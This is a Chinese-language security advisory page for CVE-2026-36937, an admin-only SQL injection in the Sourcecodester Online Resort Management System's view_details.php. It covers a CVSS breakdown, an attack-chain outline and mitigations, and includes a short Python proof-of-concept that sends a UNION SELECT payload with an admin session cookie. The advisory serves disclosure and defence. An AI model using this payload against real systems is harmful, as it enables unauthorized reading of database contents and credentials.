IPBUF安全漏洞报告
English
CVE-2026-36937 CVSS 2.7 低危

CVE-2026-36937 Sourcecodester SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-36937
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Online Resort Management System

相关标签

SQL注入SourcecodesterWeb安全CMS漏洞低危

漏洞概述

Sourcecodester Online Resort Management System v1.0版本被发现存在安全漏洞。该漏洞位于系统的/orms/admin/reservations/view_details.php路径下,由于对用户输入的参数缺乏有效的过滤机制,导致存在SQL注入风险。攻击者需要具备高权限才能利用此漏洞,成功利用后可能窃取数据库中的敏感信息,但不会破坏系统的完整性和可用性。

技术细节

该漏洞是典型的SQL注入漏洞,具体发生在Sourcecodester Online Resort Management System v1.0的`view_details.php`文件中。漏洞原理是应用程序在接收用户请求参数(通常用于查询预订详情的ID)时,未使用参数化查询或预编译语句,而是直接将其拼接到SQL查询语句中传递给数据库执行。由于CVSS向量显示PR:H(权限要求高),攻击者首先需要通过合法或非法手段获取管理员账户权限并登录后台。随后,攻击者可在HTTP请求中注入恶意的SQL语法(例如`UNION SELECT`语句),利用数据库的报错信息或联合查询技术,读取数据库结构、用户凭证等敏感数据,从而进一步渗透系统。

攻击链分析

STEP 1
1. 获取权限
攻击者通过暴力破解、钓鱼或其他方式获取系统高权限账户(管理员)的登录凭证。
STEP 2
2. 定位漏洞点
攻击者访问后台管理页面,确认`/orms/admin/reservations/view_details.php`接口存在输入点。
STEP 3
3. 注入攻击
攻击者在请求参数中构造恶意SQL语句(如UNION查询),发送给服务器。
STEP 4
4. 数据窃取
数据库执行恶意查询,将敏感数据(如用户表、密码哈希)返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Code for CVE-2026-36937 # Target: Sourcecodester Online Resort Management System v1.0 # Endpoint: /orms/admin/reservations/view_details.php import requests def check_sqli(url, session_cookie): # Vulnerable parameter assumption: id # Payload attempts to cause a time delay or extract version payload = "?id=1' UNION SELECT NULL, version(), NULL, NULL, NULL, NULL-- -" headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.get(url + payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent. Check response for database version output.") return response.text else: print("[-] Unexpected status code:", response.status_code) except Exception as e: print(f"[!] Error: {e}") # Usage # target = "http://target-ip/orms/admin/reservations/view_details.php" # check_sqli(target, "valid_admin_session_id")

影响范围

Sourcecodester Online Resort Management System v1.0

防御指南

临时缓解措施
在未修复前,建议严格限制后台管理系统的访问来源IP,加强管理员账户的密码复杂度策略,并部署Web应用防火墙(WAF)以检测和拦截针对该路径的SQL注入攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表